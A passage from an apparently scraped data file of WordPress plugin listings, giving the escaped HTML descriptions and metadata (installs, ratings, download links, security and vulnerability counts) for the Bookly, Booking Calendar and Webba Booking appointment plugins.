\u003Cstrong>notify customers\u003C\u002Fstrong> and a service provider about approved, pending and canceled appointments via \u003Cstrong>SMS\u003C\u002Fstrong> and \u003Cstrong>Email\u003C\u002Fstrong> notifications;\u003Cbr \u002F>\n– view \u003Cstrong>calendar\u003C\u002Fstrong> in monthly\u002Fweekly\u002Fdaily \u003Cstrong>format\u003C\u002Fstrong>;\u003Cbr \u002F>\n– filter, search and sort \u003Cstrong>booking list\u003C\u002Fstrong>;\u003Cbr \u002F>\n– automatically approve or cancel \u003Cstrong>appointments\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch3>Configure the booking form to suit your needs:\u003C\u002Fh3>\n\u003Cp>– \u003Cstrong>customize every step\u003C\u002Fstrong> of your booking form, including editable headings, texts, and buttons;\u003Cbr \u002F>\n– translate all user interface and notifications into \u003Cstrong>40+ languages via WPML plugin\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>add\u003C\u002Fstrong> as many \u003Cstrong>booking forms\u003C\u002Fstrong> on your website as you want;\u003Cbr \u002F>\n– show or hide specific fields if you don’t want them to be visible to your customers;\u003Cbr \u002F>\n– use pre-defined default values for \u003Cstrong>Category\u003C\u002Fstrong>, \u003Cstrong>Service\u003C\u002Fstrong> and \u003Cstrong>Employee\u003C\u002Fstrong> fields in your \u003Cstrong>booking form\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>choose\u003C\u002Fstrong> the way your customers will see your \u003Cstrong>booking form\u003C\u002Fstrong> on the front-end (e.g., show or hide the calendar, show each day in one column, display blocked time slots);\u003Cbr \u002F>\n– display available \u003Cstrong>time slots\u003C\u002Fstrong> in the client’s \u003Cstrong>time zone\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>set duration\u003C\u002Fstrong> for each \u003Cstrong>service\u003C\u002Fstrong> separately;\u003Cbr \u002F>\n– choose an individual color for each service in order to color code appointments internally in your \u003Cstrong>Appointment Booking Calendar\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>organize services\u003C\u002Fstrong> into \u003Cstrong>categories\u003C\u002Fstrong> (you can add up to five services with the free version of Bookly);\u003C\u002Fp>\n\u003Ch3>2.1 Key Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Fast online booking\u003C\u002Fstrong> with intuitively manageable forms\u003C\u002Fli>\n\u003Cli>The fully \u003Cstrong>customizable appearance\u003C\u002Fstrong> of the booking form with no coding involved\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Unlimited number of booking forms\u003C\u002Fstrong> on your site\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Comprehensive admin area\u003C\u002Fstrong> with an intuitive interface\u003C\u002Fli>\n\u003Cli>Monthly\u002Fweekly\u002Fdaily \u003Cstrong>calendar view\u003C\u002Fstrong> for the service provider\u003C\u002Fli>\n\u003Cli>Manageable \u003Cstrong>list of your customers\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Filterable, sortable and searchable \u003Cstrong>booking list\u003C\u002Fstrong> of your customers\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Variable duration\u003C\u002Fstrong> for each \u003Cstrong>service\u003C\u002Fstrong> (5 min – 7 days)\u003C\u002Fli>\n\u003Cli>Services grouped into \u003Cstrong>categories\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Customizable \u003Cstrong>SMS\u003C\u002Fstrong> and \u003Cstrong>email notifications settings\u003C\u002Fstrong> right from the Bookly backend\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WPML integration\u003C\u002Fstrong> for multi-language support\u003C\u002Fli>\n\u003Cli>Automated \u003Cstrong>SMS Mailing Campaigns\u003C\u002Fstrong> for various marketing purposes\u003C\u002Fli>\n\u003Cli>Blocks for Elementor and Gutenberg\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>3. Bookly Pro add-on features:\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Bookly Pro\u003C\u002Fstrong> add-on allows you to use more features and settings, install other add-ons for Bookly, includes six months of customer support, and provides you with advanced capabilities for automating your \u003Cstrong>online scheduling system\u003C\u002Fstrong>. Some of them include:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Unlimited\u003C\u002Fstrong> number of \u003Cstrong>staff members\u003C\u002Fstrong> with an individual working schedule and ability to manage their profiles and online booking calendar\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Unlimited\u003C\u002Fstrong> number of \u003Cstrong>services\u003C\u002Fstrong> with additional settings (padding time, visibility, limitations, etc.)\u003C\u002Fli>\n\u003Cli>Ability to receive secure and flexible \u003Cstrong>online payments\u003C\u002Fstrong> on your website\u003C\u002Fli>\n\u003Cli>Online payment processing with PayPal, Stripe, 2Checkout, Authorize.Net, Mollie, Payson, PayUbiz, PayU Latam\u003C\u002Fli>\n\u003Cli>Additional \u003Cstrong>templates\u003C\u002Fstrong> for \u003Cstrong>Email notifications\u003C\u002Fstrong> (e.g., reminders about upcoming appointments, follow-up messages, birthday greetings, next day agenda, etc.)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Advanced\u003C\u002Fstrong> features for customizing your \u003Cstrong>online booking form\u003C\u002Fstrong> (show address fields, birthday fields, Facebook login, timezone switcher)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Google Calendar\u003C\u002Fstrong> integration\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce\u003C\u002Fstrong> compatibility\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Importable and exportable customer list\u003C\u002Fstrong> which includes info about appointments and payments\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Built-in analytics\u003C\u002Fstrong> so you will be able to see a comprehensive report about the number of bookings, customers and payments received\u003C\u002Fli>\n\u003Cli>Integration with \u003Cstrong>Zoom\u003C\u002Fstrong>, \u003Cstrong>Google Meet\u003C\u002Fstrong> and \u003Cstrong>Jitsi\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Mailchimp\u003C\u002Fstrong> integration (via add-on)\u003C\u002Fli>\n\u003Cli>Ability to export appointments via \u003Cstrong>ICalendar feed\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to purchase and use\u003C\u002Fstrong> dozens of \u003Cstrong>paid add-ons for deeper customization\u003C\u002Fstrong> of your booking system (group bookings, custom fields, service \u003Cstrong>extra items\u003C\u002Fstrong>, recurring appointments, deposits, \u003Cstrong>coupons\u003C\u002Fstrong>, personal staff cabinet and user account for your clients, \u003Cstrong>automatic invoicing\u003C\u002Fstrong>, waiting list, and much \u003Cstrong>more!\u003C\u002Fstrong>)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>4. Who can benefit from using Bookly:\u003C\u002Fh3>\n\u003Cp>Bookly for WordPress is designed to be used by \u003Cstrong>local businesses\u003C\u002Fstrong> or \u003Cstrong>individual providers\u003C\u002Fstrong> who offer different services to customers. Since the \u003Cstrong>booking form\u003C\u002Fstrong> can be \u003Cstrong>fully customized\u003C\u002Fstrong> and \u003Cstrong>personalized\u003C\u002Fstrong>, it is \u003Cstrong>successfully used\u003C\u002Fstrong> in many business segments such as \u003Cstrong>Healthcare\u003C\u002Fstrong>, \u003Cstrong>Beauty\u003C\u002Fstrong>, \u003Cstrong>Education\u003C\u002Fstrong>, \u003Cstrong>Medicine\u003C\u002Fstrong>, \u003Cstrong>Consulting\u003C\u002Fstrong> etc., as well as by individual professionals.\u003C\u002Fp>\n\u003Cp>Also, Bookly is an excellent solution for \u003Cstrong>web studios\u003C\u002Fstrong> and \u003Cstrong>developers\u003C\u002Fstrong>, who are looking for ways to improve the \u003Cstrong>appointment process\u003C\u002Fstrong> for their \u003Cstrong>customers\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch3>Online scheduling for:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Salon & Beauty\u003C\u002Fstrong> (hair salons, nail salons, cosmetology centers, tanning studios, barbershops)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Health and wellness\u003C\u002Fstrong> (wellness, spa & massage, aromatherapy, baths)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Medicine\u003C\u002Fstrong> (clinics, doctors, dentists, medical centers)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Education\u003C\u002Fstrong> (education centers, tutors, language schools, private lessons)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Fitness & Gyms\u003C\u002Fstrong> (yoga classes, personal trainers, health clubs, fitness centers, dance instructors)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Professional services\u003C\u002Fstrong> (coaches, consultants, lawyers, photographers, consulting psychologist, cleaning services)\u003C\u002Fli>\n\u003Cli>or any \u003Cstrong>other services\u003C\u002Fstrong> which can be scheduled and reserved \u003Cstrong>online\u003C\u002Fstrong> using the booking system.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>FURTHER READING\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Online Scheduling plugin\u003C\u002Fa> official page\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupport.booking-wp-plugin.com\u002Fhc\u002Fen-us?utm_source=WP_ORG&utm_medium=cpc&utm_campaign=wp_further_reading\" rel=\"nofollow ugc\">Help center\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fdemo\u002Ffree\u002F?utm_campaign=wp_furtherreading&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdemo.booking-wp-plugin.com\u002F?utm_campaign=wp_furtherreading&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Pro add-on demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fadd-ons?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Add-ons for Bookly Pro\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fyoutube.com\u002Fc\u002FBookly?utm_source=WP_ORG&utm_medium=cpc&utm_campaign=wp_further_reading\" rel=\"nofollow ugc\">Youtube channel\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>AFTER ACTIVATION\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Add\u003C\u002Fstrong> at least one \u003Cstrong>service\u003C\u002Fstrong> (Bookly menu > Services).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Add a staff member\u003C\u002Fstrong> linked to your service (Bookly menu > Staff members).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Customize\u003C\u002Fstrong> the appearance of your online booking form (Bookly menu > Appearance).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Publish the booking form\u003C\u002Fstrong> on your website (WordPress sidebar menu > Pages\u002FPosts).\u003C\u002Fli>\n\u003C\u002Ful>\n","Appointment booking system for WordPress — schedule appointments, manage calendars, send reminders, take payments. Start booking today!",70000,3653847,88,563,"2026-04-14T11:21:00.000Z","3.7","5.3.7",[20,124,21,22,23],"appointments","https:\u002F\u002Fwww.booking-wp-plugin.com\u002F?utm_source=bookly_admin&utm_medium=plugins_page&utm_campaign=plugins_page","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookly-responsive-appointment-booking-tool.27.4.zip","2026-04-08 00:00:00",{"slug":22,"name":129,"version":130,"author":131,"author_profile":132,"description":133,"short_description":134,"active_installs":135,"downloaded":136,"rating":13,"num_ratings":137,"last_updated":138,"tested_up_to":16,"requires_at_least":139,"requires_php":140,"tags":141,"homepage":143,"download_link":144,"security_score":145,"vuln_count":146,"unpatched_count":49,"last_vuln_date":147,"fetched_at":31},"Booking calendar, Appointment Booking System","3.2.36","wpdevart","https:\u002F\u002Fprofiles.wordpress.org\u002Fwpdevart\u002F","\u003Cp>Booking Calendar plugin is an nice and user friendly tool for creating reservation systems for your WordPress website. Create any type of scheduling calendar just in a few minutes.\u003Cbr \u002F>\nThere is a lot of settings and useful functions that you can use.\u003C\u002Fp>\n\u003Ch3>View our plugin Demo pages:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdemo.wpdevart.com\u002Fdemo-booking-calendar\" rel=\"nofollow ugc\">Demo Page\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdemo.wpdevart.com\u002Fdemo-booking-calendar-hours\" rel=\"nofollow ugc\">Hours Demo Page\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Our plugin have a lot of great features that you will like. Below we described some of useful features of our plugin.\u003C\u002Fp>\n\u003Ch3>Features of Free version\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Easy install and use\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Works great with all WordPress versions\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Fully Responsive\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Unlimited Forms and Extras\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Reservation Calendars in Widgets\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set days availability(Available, Booked, Unavailable) and Price\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change Date format, Week days format\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Start Day of the week\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to select Unavailable week days\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change days selection type(Multiple days or Single day selection)\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to show\u002Fhide “Check in\u002FCheck out”, “Number of items”, Form and Extras titles\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to send email notification to user and administrator after book request submited or approved\u003C\u002Fstrong>  \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to send email notification to user after book request canceled or deleted(rejected)\u003C\u002Fstrong> \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to add unlimited text, checkbox, select and TextArea fields to the Form\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Filters for searching reservations\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Reservation single View\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Multiple choice for select field\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Required option for each field in form\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to create unlimited Themes\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to approve book request instantly\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set scroll offset\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change the currency and default texts\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to Enable\u002FDisable Terms & Conditions\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to show day info on hover for widget\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Uses CSS3\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User friendly back-end\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Tested on popular WordPress themes\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>You can upgrade the free version to \u003Ca href=\"https:\u002F\u002Fwpdevart.com\u002Fwordpress-booking-calendar-plugin\u002F\" rel=\"nofollow ugc\">Pro version\u003C\u002Fa> to add some great features.\u003C\u002Fp>\n\u003Ch3>Features of Pro version\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Fully design customization\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to book events by hours\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User permissions\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set day Marked Price\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Operation type(+\u002F-) for Extra fields\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Price type(price\u002Fpercent) for Extra fields\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change price and percent for Extra field\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Reservation Month View\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to redirect visitor to a new page after submission\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to add Information for users and administrators\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Maximum width\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change font size, font weight and font style of elements\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Info Border radius, default Year and Month, background color, all fields background colors, text colors\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Features of \u003Ca href=\"https:\u002F\u002Fwpdevart.com\u002Fwordpress-booking-calendar-plugin\u002F\" rel=\"nofollow ugc\">Extended version\u003C\u002Fa>\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Multi-User functionality\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Different values for different days of week\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Google ReCaptcha\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to use Discount option depending on the days\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Minumum day(hour) value\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Maximum day(hour) value\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to edit Reservations from admin panel\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Payment System\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Pay in cash functionality\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Integrated with PayPal\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>If you have any type of question occuring our plugin contact us at our plugin \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fbooking-calendar\" rel=\"ugc\">SUPPORT FORUM\u003C\u002Fa>.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>This plugin is one of the most important tool for any reservation website. Scheduling engine is an handy tool for creating any type of Scheduling system(for example Hotel and Restaurant booking, salon booking, meeting room booking, travel and tour shedulding, service and seat shedulding, car rent, event booking …).\u003Cbr \u002F>\nYou can also use our plugin for cottages, hotel rooms, houses, villas, apartments, bikes, technics, pools, beauty salons, spas, massage therapists, coaching, phone advice, consultation, conference, course, fitness center, yoga class or gym reservations. Our plugin will be helpful if you have one of this professions – doctor, dentists, clinic, medical, photographer, lawyer etc.\u003C\u002Fp>\n\u003Ch3>Step by step guide\u003C\u002Fh3>\n\u003Ch3>Calendars Page\u003C\u002Fh3>\n\u003Cp>On this page you can add new Scheduling Calendars, edit or delete existing.\u003Cbr \u002F>\nClick “Add” to create new one.\u003Cbr \u002F>\nType the name. Then choose Theme,Form and Extra.\u003C\u002Fp>\n\u003Cp>Then select the date(click on the start date, then click on the end date, if you need to select days from next months as well, then click on start date and change month from top and then select the end date)\u003Cbr \u002F>\nAfter you selected date you will see this options\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Set days availability – Set days status using this option(Available, Booked, Unavailable).\u003C\u002Fli>\n\u003Cli>Number Available – Set the number for available things(rooms, place or anything that users should book) in a day.\u003C\u002Fli>\n\u003Cli>Price – Type the price for one day.\u003C\u002Fli>\n\u003Cli>Marked Price – Type the marked price for one day.\u003C\u002Fli>\n\u003Cli>Information for users – Type here information for your users(they will see it on front-end).\u003C\u002Fli>\n\u003Cli>Information for administrators – Type here information for administrators(administrators will see it from admin panel). \u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Reservations Page\u003C\u002Fh3>\n\u003Cp>On this page you can Approve, Reject, Cancel, Delete or just view Reservations.\u003C\u002Fp>\n\u003Cp>First you need to select the calendar you want to check(from top).\u003Cbr \u002F>\nThen you need to select the reservation and then change the status(also, you can select several reservations and then change their statuses from top).\u003Cbr \u002F>\nIf you want to see details then open it from top right side.\u003C\u002Fp>\n\u003Cp>You can use filters page to find reservations you need quickly and easier. Use the Status, select the Period or use search field.\u003Cbr \u002F>\nAlso, use the Month View, we think it’s an handy function.\u003C\u002Fp>\n\u003Ch3>Forms Page\u003C\u002Fh3>\n\u003Cp>On this page you can add new Forms, edit or delete existing Forms.\u003Cbr \u002F>\nClick “Add Form” to create new Form.\u003Cbr \u002F>\nType new form name. Then click on “Plus” button to add new fields or edit the default existing fields.\u003C\u002Fp>\n\u003Cp>You can add 4 different type of fields. You can add simple text field, TextArea, Checkbox and Select fields.\u003Cbr \u002F>\nOpen the field option from left for editing texts or selecting option.\u003C\u002Fp>\n\u003Cp>Don’t forget to save the new form that you have created.\u003C\u002Fp>\n\u003Ch3>Extras Page\u003C\u002Fh3>\n\u003Cp>On this page you can add new Extras, edit or delete existing Extras.\u003Cbr \u002F>\nClick “Add Extra” to create new Extra.\u003Cbr \u002F>\nType new extra name. Then click on “Plus” button to add new Extra fields or edit the default existing Extra fields.\u003C\u002Fp>\n\u003Cp>Open the extra field option from left, then set the option or remove the Items.\u003Cbr \u002F>\nAlso, check the options for every item. Type the Label, choose the Operation type, choose Price type, type the Price\u002FPercent.\u003C\u002Fp>\n\u003Cp>Save the new Extra field.\u003C\u002Fp>\n\u003Ch3>Themes Page\u003C\u002Fh3>\n\u003Cp>On this page you can add new Themes, edit or delete existing Themes.\u003Cbr \u002F>\nClick “Add Theme” to create new Theme.\u003Cbr \u002F>\nType new theme name.\u003C\u002Fp>\n\u003Cp>Then edit the General options.\u003Cbr \u002F>\nYou can set a different options for theme from this page such as Date format, Week days format, Start Day of the week, Enable instant approval and other options .\u003Cbr \u002F>\nOptions like\u003C\u002Fp>\n\u003Cp>Then open Styles and Colors tab and configure some design options.\u003Cbr \u002F>\nYou can set the Maximum width, font sizes, colors, background color and other design settings.\u003C\u002Fp>\n\u003Cp>Then open Notifications tab and configure it.\u003Cbr \u002F>\nFrom here you can edit(disable) all notifications that users or administrator will receive.\u003C\u002Fp>\n\u003Cp>Then open Default Texts tab and configure it.\u003Cbr \u002F>\nYou can change the default texts from here.\u003C\u002Fp>\n\u003Cp>At the end save the new Theme.\u003C\u002Fp>\n\u003Ch3>User permissions Page\u003C\u002Fh3>\n\u003Cp>On this page you can set your users permissions.\u003Cbr \u002F>\nYou can change users permission for our plugin all pages.\u003Cbr \u002F>\nFor example if you set user permission for Forms page to “Editor” Role, then all users that have this Role can get access for this page.\u003C\u002Fp>\n\u003Ch3>Uninstall Page\u003C\u002Fh3>\n\u003Cp>On this page you can remove our plugin, but if you uninstall the plugin this way then you will delete all Database Tables.\u003Cbr \u002F>\nIf you think that you can use our plugin in future then don’t use this page for uninstalling our plugin(use the WordPress plugins standard page for removing the plugin).\u003C\u002Fp>\n\u003Ch3>Featured Plugins Page\u003C\u002Fh3>\n\u003Cp>On this page you can check our Featured plugins.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>If you have any type of question occuring our plugin contact us at our plugin \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fbooking-calendar\" rel=\"ugc\">SUPPORT FORUM\u003C\u002Fa>.\u003C\u002Fstrong>\u003C\u002Fp>\n","Booking calendar plugin is an awesome tool for creating appointment booking calendars and Scheduling systems in a few minutes.",4000,595485,115,"2026-03-23T13:08:00.000Z","3.4.0","",[20,21,22,23,142],"reservation-calendar","https:\u002F\u002Fwpdevart.com\u002Fwordpress-booking-calendar-plugin","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooking-calendar.3.2.36.zip",50,18,"2026-03-18 00:00:00",{"slug":149,"name":150,"version":151,"author":152,"author_profile":153,"description":154,"short_description":155,"active_installs":156,"downloaded":157,"rating":158,"num_ratings":159,"last_updated":160,"tested_up_to":16,"requires_at_least":161,"requires_php":18,"tags":162,"homepage":164,"download_link":165,"security_score":103,"vuln_count":14,"unpatched_count":29,"last_vuln_date":166,"fetched_at":31},"webba-booking-lite","Easy Appointment Booking & Scheduling System – Webba Booking Calendar","6.4.0","Webba Appointment Booking","https:\u002F\u002Fprofiles.wordpress.org\u002Fwebba-agency\u002F","\u003Ch4>Ultimate Appointment Booking, Reservation & Scheduling Calendar Plugin\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwebba-booking.com\u002F\" rel=\"nofollow ugc\">Webba Appointments Booking\u003C\u002Fa> is a powerful appointment booking system and scheduling plugin.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Webba allows businesses to accept and manage appointment bookings, reservations, hourly bookings for variety of services, rentals, spaces.\u003Cbr \u002F>\nIt offers the essential features that will make \u003Cstrong>accepting and managing online bookings\u003C\u002Fstrong> and reservations on your website super easy.\u003Cbr \u002F>\nSetup in 5 minutes and start accepting bookings and reservations without any coding or design skills!\u003Cbr \u002F>\n\u003Cstrong>Join thousands of businesses\u003C\u002Fstrong> that use Webba to accept and manage bookings through their WordPress website.\u003Cbr \u002F>\nOur \u003Cstrong>world-class support\u003C\u002Fstrong> is ready to help you have the best experience with Webba.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwebba-booking.com\u002Fpricing\u002F\" title=\"Pricing of Webba Booking\" rel=\"nofollow ugc\">TRY PREMIUM VERSION\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwebba-booking.com\u002Fdemos-use-cases\u002F\" title=\"Demo of Webba Booking\" rel=\"nofollow ugc\">USE CASES & DEMOS\u003C\u002Fa> |\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fwebba-booking.com\u002Ffeatures\u002F\" title=\"Features Overview of Webba Booking\" rel=\"nofollow ugc\">FEATURES\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwebba-booking.com\u002Fdocumentation\u002F\" title=\"Documentation of Webba Booking\" rel=\"nofollow ugc\">DOCUMENTATION\u003C\u002Fa>\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FTGGBEMmXHl8?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Ch3>WHO IS THE WEBBA BOOKING PLUGIN FOR?\u003C\u002Fh3>\n\u003Cp>Webba Booking is a powerful WordPress booking plugin built for businesses and professionals who need a reliable appointment booking, scheduling, and reservation system.\u003Cbr \u002F>\nWhether you provide services online or in person, Webba helps you accept bookings 24\u002F7, avoid double-bookings, and manage your schedule with ease.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Salons and Beauty Professionals:\u003C\u002Fstrong> Hair salons, nail salons, yoga studios, pilates studios, barbershops, spas, massage therapists, tattoo and piercing studios, tanning salons, cosmetologists.\u003Cbr \u002F>\nWebba provides automated reminders so clients never miss appointments, secure online payments to confirm bookings, and calendar synchronization to avoid double-bookings.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Consultants and Business Professionals:\u003C\u002Fstrong> Coaches, lawyers, psychologists, bookkeepers, financial advisors, wedding planners.\u003Cbr \u002F>\nConsultants love features like recurring appointments for regular clients, group bookings to handle sessions efficiently, and Zoom integration for virtual meetings.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Healthcare and Medical Providers:\u003C\u002Fstrong> Doctors, dentists, therapists, nutritionists, clinics, physiotherapists, homeopaths.\u003Cbr \u002F>\nHealthcare professionals use custom booking forms and secure data management to handle appointments while staying GDPR compliant.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Education and Training:\u003C\u002Fstrong> Tutors, language schools, play rooms, private teachers, driving schools, music instructors.\u003Cbr \u002F>\nEducation providers benefit from availability calendars, group class bookings, and automated reminders to manage lessons and keep students informed.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Fitness, 